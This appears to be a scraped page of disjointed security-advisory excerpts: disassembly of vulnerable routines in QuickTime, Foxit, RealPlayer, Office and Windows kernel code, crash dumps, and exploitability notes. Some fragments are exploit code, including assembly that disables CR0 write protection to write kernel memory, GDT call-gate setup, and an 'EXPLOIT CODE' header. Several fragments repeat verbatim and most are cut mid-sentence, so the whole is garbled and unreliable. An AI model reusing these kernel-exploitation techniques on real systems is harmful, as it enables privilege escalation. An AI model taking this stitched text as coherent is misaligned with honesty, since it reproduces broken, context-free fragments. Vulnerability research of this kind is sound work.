Next Page >>
machine word
(STSD) stores information that allows QuickTime to decode samples in
the media.
It has the following structure:
0 DWORD Size
4 DWORD Type
8 BYTE Version
9 BYTE[3] FLAGS
12 DWORD Number of entries
16 DWORD Sample description table
00040735 lea eax, [ebp+CurrentTime]
00040738 push eax
00040739 call ds:__imp__KeQuerySystemTime@4
0004073F mov eax, _EncryptionKeyCount
00040744 add dword ptr [ebp+CurrentTime], eax
Increments _EncryptionKeyCount by 0x100 and makes some 'calculations'
with the (current time.lowpart + _EncryptionKeyCount) resulting in a
DWORD value with the
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char** argv)
{
DWORD dwStatus;
MIB_IPFORWARD_ROW2 route;
if (argc != 3)
{
printf("Usage: %s <ifNum> <numOfBits>\n\n", argv[0]);
following is an excerpt of the vulnerable code, and the value of the
registers when the vulnerability is triggered (the values of EAX and ECX
are controlled by the attacker).
/-----
77FCC453 . 8901 MOV DWORD PTR DS:[ECX],EAX
77FCC455 . 8948 04 MOV DWORD PTR DS:[EAX+4],ECX
77FCC458 . 3BC1 CMP EAX,ECX
77FCC45A . 75 25 JNZ SHORT ntdll.77FCC481
/-----
005FED51 MOVZX EDX,BYTE PTR SS:[ESP+2] #FCFF
005FED56 MOVSX ECX,WORD PTR SS:[ESP+3]
005FED5B CMP ECX,-1
005FED5E MOVSX EAX,WORD PTR SS:[ESP+5] #FCFF
005FED63 MOV DWORD PTR DS:[ESI+10],EDX
005FED66 MOV EDX,DWORD PTR SS:[ESP+7]
005FED6A MOV DWORD PTR DS:[ESI+14],ECX
005FED6D MOV DWORD PTR DS:[ESI+18],EAX
005FED70 MOV DWORD PTR DS:[ESI+C],EDX
005FED73 JGE SHORT ovdbrun.005FED7E
if (pbcode[0] != 0xC7U) continue;
if ( pbcode[1] <= 0x03 || // [EAX/ECX/EDX/EBX]
pbcode[1] == 0x06 || // [ESI]
pbcode[1] == 0x07 ) // [EDI]
{
ptr = *(DWORD *)(pbcode + 2);
}
// C7/45/00/vtableptr -- MOV [EBP+0], vtableptr
else if (pbcode[1] == 0x45 && pbcode[2] == 0x00)
ptr = *(DWORD *)(pbcode + 3);
else continue;
.text:0040CC01 ;
IoPerfCompleteRequest(x,x)+B8p ...
.text:0040CC01
.text:0040CC01 var_C = dword ptr -0Ch
.text:0040CC01 var_8 = dword ptr -8
.text:0040CC01 var_1 = byte ptr -1
call WriteKVM
mov eax,Gdt_Addr
mov word ptr[CallGateData],ax
shr eax,16
mov word ptr[CallGateData+6],ax
mov dword ptr[CallGateData+2],0x0ec0003e8
mov dword ptr[CallGateData+8],0x0000ffff
mov dword ptr[CallGateData+12],0x00cf9a00
xor eax,eax
LoopWrite:
mov edi,dword ptr CallGateData[eax]
structures are filled with incorrect data.
This facts cause different errors in
the execution. For example, this code:
004A6E04 C74424 04 000000>MOV DWORD PTR SS:[ESP+4],0
004A6E0C 0F84 9A000000 JE foxit_re.004A6EAC
004A6E12 8B41 08 MOV EAX,DWORD PTR DS:[ECX+8]
004A6E15 48 DEC EAX
004A6E16 83F8 08 CMP EAX,8
004A6E19 0F87 8D000000 JA foxit_re.004A6EAC
62A7059B 8A67 04 MOV AH,BYTE PTR DS:[EDI+4] ; ah=controled
by attacker
62A7059E 66:3B86 AE000000 CMP AX,WORD PTR DS:[ESI+AE] ; below 2?
62A705A5 73 11 JNB SHORT 62A705B8 ; not signed
compare, assume:taken!
62A705A7 8B8E B0000000 MOV ECX,DWORD PTR DS:[ESI+B0]
62A705AD 25 FFFF0000 AND EAX,0FFFF
62A705B2 66:8B0441 MOV AX,WORD PTR DS:[ECX+EAX*2]
62A705B6 EB 05 JMP SHORT 62A705BD
62A705B8 B8 FFFF0000 MOV EAX,0FFFF ; eax=0xFFFF
62A705BD 33D2 XOR EDX,EDX ; edx=0
typedef BOOL (WINAPI *INIT_REG_ENGINE)();
typedef LONG (WINAPI *BREG_DELETE_KEY)(HKEY hKey, LPCSTR lpSubKey);
typedef LONG (WINAPI *BREG_OPEN_KEY)(HKEY hKey, LPCSTR lpSubKey, PHKEY phkResult);
typedef LONG (WINAPI *BREG_CLOSE_KEY)(HKEY hKey);
typedef LONG (WINAPI *REG_SET_VALUE_EX)(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE* lpData, DWORD cbData);
BREG_DELETE_KEY BRegDeleteKey = NULL;
BREG_OPEN_KEY BRegOpenKey = NULL;
BREG_CLOSE_KEY BRegCloseKey = NULL;
REG_SET_VALUE_EX BRegSetValueEx = NULL;
structures are filled with incorrect data.
This facts cause different errors in
the execution. For example, this code:
004A6E04 C74424 04 000000>MOV DWORD PTR SS:[ESP+4],0
004A6E0C 0F84 9A000000 JE foxit_re.004A6EAC
004A6E12 8B41 08 MOV EAX,DWORD PTR DS:[ECX+8]
004A6E15 48 DEC EAX
004A6E16 83F8 08 CMP EAX,8
004A6E19 0F87 8D000000 JA foxit_re.004A6EAC
structures are filled with incorrect data.
This facts cause different errors in
the execution. For example, this code:
004A6E04 C74424 04 000000>MOV DWORD PTR SS:[ESP+4],0
004A6E0C 0F84 9A000000 JE foxit_re.004A6EAC
004A6E12 8B41 08 MOV EAX,DWORD PTR DS:[ECX+8]
004A6E15 48 DEC EAX
004A6E16 83F8 08 CMP EAX,8
004A6E19 0F87 8D000000 JA foxit_re.004A6EAC
contents treated as trusted kernel data.
Since exploitability hinges entirely on user control of GS during the
execution of GS-dependent kernel code, GS-relative memory accesses in
the code path starting with the interrupt handler are of the most
interest. NT!KiGeneralProtectionFault includes the "LDMXCSR DWORD PTR
GS:[0x180]" instruction, which will raise an undesirable #GP fault if
that DWORD contains invalid set flags, so GS:[0x180] (here referring
to user GS, which will be treated like kernel GS during exploitation)
should be assigned a value of zero.
Since exploitability hinges entirely on user control of GS during the
execution of GS-dependent kernel code, GS-relative memory accesses in
the code path starting with the interrupt handler are of the most
interest. NT!KiGeneralProtectionFault and NT!KiDebugTrapOrFault both
include the "LDMXCSR DWORD PTR GS:[0x180]" instruction, which will
raise an undesirable #GP fault if that DWORD contains invalid set
flags, so GS:[0x180] (here referring to user GS, which will be treated
like kernel GS during exploitation) should be assigned a value of
zero.
READ_ADDRESS: 92bc0000 Nonpaged pool
FAULTING_IP:
nt!memcpy+33
81c834b3 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
MM_INTERNAL_CODE: 0
DEFAULT_BUCKET_ID: VISTA_DRIVER_FAULT
(after unpacking) in the .nos segment. A fragment of this assembly code
is listed below:
.nos:033B9B71 isDomainValid proc near
.nos:033B9B71
.nos:033B9B71 var_4 = dword ptr -4
.nos:033B9B71 arg_0 = dword ptr 4
.nos:033B9B71 arg_4 = dword ptr 8
.nos:033B9B71 arg_8 = byte ptr 0Ch
.nos:033B9B71
.nos:033B9B71 push ecx
EXPLOIT CODE:
#define IOCTL_HOTPATCH_KERNEL_MODULE CTL_CODE(0x8300 , 0x835 , METHOD_BUFFERED ,FILE_ANY_ACCESS)
typedef LONG (WINAPI *PNT_QUERY_INFORMATION_PROCESS)(
HANDLE ProcessHandle,
DWORD ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);
push eax
and eax, 0xFFFEFFFF
mov cr0 , eax
cli
mov eax , 0xAAAA5555
mov dword ptr[eax] , 0x33343536
sti
pop eax
mov cr0 , eax
popad
ret 0x4
.text:004A56D0 sub_4A56D0 proc near ; CODE XREF: sub_42AAC0+321 p
.text:004A56D0 ; sub_439610+321 p ...
.text:004A56D0
.text:004A56D0 String = word ptr -2000h
.text:004A56D0 hDC = dword ptr 4
.text:004A56D0 arg_4 = dword ptr 8
.text:004A56D0 lpRect = dword ptr 0Ch
.text:004A56D0 uFormat = dword ptr 10h
.text:004A56D0
.text:004A56D0 mov eax, 2000h ; reserve 0x2000 (8192)
EXPLOIT CODE:
#define IOCTL_HOTPATCH_KERNEL_MODULE CTL_CODE(0x8300 , 0x835 , METHOD_BUFFERED ,FILE_ANY_ACCESS)
typedef LONG (WINAPI *PNT_QUERY_INFORMATION_PROCESS)(
HANDLE ProcessHandle,
DWORD ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);
095F4D97 |. 68 080C0000 PUSH 0C08
;size of the buffer to be allocated
095F4D9C |. E8 9F4D0000 CALL JPEGACC.095F9B40
;call to malloc()
095F4DA1 |. 83C4 04 ADD ESP,4
095F4DA4 |. 894424 10 MOV DWORD PTR SS:[ESP+10],EAX
;saves the pointer returned by malloc()
- -----/
allocate!!!!!
73d6cd50 e8ce73feff call MFC42!operator new (73d54123)
=> Allocating memory for the buffer (malloc)
=> eax= 4170ec0
73d6cd55 8b6c2414 mov ebp,dword ptr [esp+14h]
=> esp+14 has a pointer to the argument buffer (AAAAA...)
73d6cd59 83661000 and dword ptr [esi+10h],0
73d6cd5d 85ed test ebp,ebp
=> ebp=068b5064 (this is the address of the buffer)
</body>
</html>
----------------------------------------------------------------------------------------------------------------
<!--
005EC769 |> 8B06 MOV EAX,DWORD PTR DS:[ESI]
005EC76B |. 6A 00 PUSH 0
005EC76D |. 53 PUSH EBX
005EC76E |. 56 PUSH ESI
005EC76F |. FF50 30 CALL DWORD PTR DS:[EAX+30]
005EC772 |> 8B5B 14 MOV EBX,DWORD PTR DS:[EBX+14]
.text:102266DB mov ecx, [eax+1Ch] ; ECX=arbitrary value
- usually *(0x55555571)
.text:102266CE mov edx, [eax+20h] ; EDX=arbitrary value
- usually *(0x55555575)
.text:102266DE mov [ecx+20h], edx; ; JACKPOT - a write of
an arbitrary DWORD to an arbitrary VA
The following is an illustration of the pointer table and the out of
bounds pointer
which may be dereferenced:
The problem exists when Real*Player* parses a special crafted .mov file.
Here is the vulnerable code:
--//- snip ----//-----------------------------------------------------
62448F24 8B4D E2 MOV ECX,DWORD PTR SS:[EBP-1E] ; (*1)
62448F27 8B45 DE MOV EAX,DWORD PTR SS:[EBP-22]
62448F2A 2BC1 SUB EAX,ECX ; (*2)
62448F2C 8B53 17 MOV EDX,DWORD PTR DS:[EBX+17]
62448F2F 8D3401 LEA ESI,DWORD PTR DS:[ECX+EAX]
62448F32 8975 FC MOV DWORD PTR SS:[EBP-4],ESI
The code section which triggers the exception is:
/-----------
00458066 |. C745 08 00000000 MOV DWORD PTR SS:[EBP+8],0
*Sets the content of the local variable to 0
0045806D |. 8B10 MOV EDX,DWORD PTR DS:[EAX]
0045806F |. 50 PUSH EAX
00458070 |. FF52 2C CALL DWORD PTR DS:[EDX+2C]
00458073 |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
30BDE405 CMP ECX,0F003
30BDE40B JB mso.30EFD183
30BDE411 CMP ECX,0F004
30BDE417 JA mso.30BDE4C8
30BDE41D XOR ESI,ESI
30BDE41F LEA EAX,DWORD PTR SS:[EBP-8]
30BDE422 PUSH ESI
30BDE423 PUSH EAX
30BDE424 PUSH EDI
30BDE425 MOV ECX,EBX
30BDE427 CALL mso.30BDEC18
.text:73D6CD46 call CFileFind::Close(void)
.text:73D6CD4B push 140h ; int << 320 bytes
.text:73D6CD50 call @operator new(uint) << buffer
Allocate [1]
.text:73D6CD55 mov ebp, [esp+14h]
.text:73D6CD59 and dword ptr [esi+10h], 0
.text:73D6CD5D test ebp, ebp
.text:73D6CD5F pop ecx
.text:73D6CD60 mov [esi+8], eax
.text:73D6CD63 jnz short loc_73D6CD6A
.text:73D6CD65 mov ebp, offset a__1 ; "*.*" << si arg_0 ==
Pseudo-code:
if (wParam == 4 | | wParam == 13 | | wParam == 12)
(
v18 = * (_DWORD *) lParam;
v19 = * (_DWORD *) (lParam 4);
v20 = * (_DWORD *) (lParam 8);
v21 = * (_DWORD *) (lParam 12);
Exploit code:
Next Page>>
|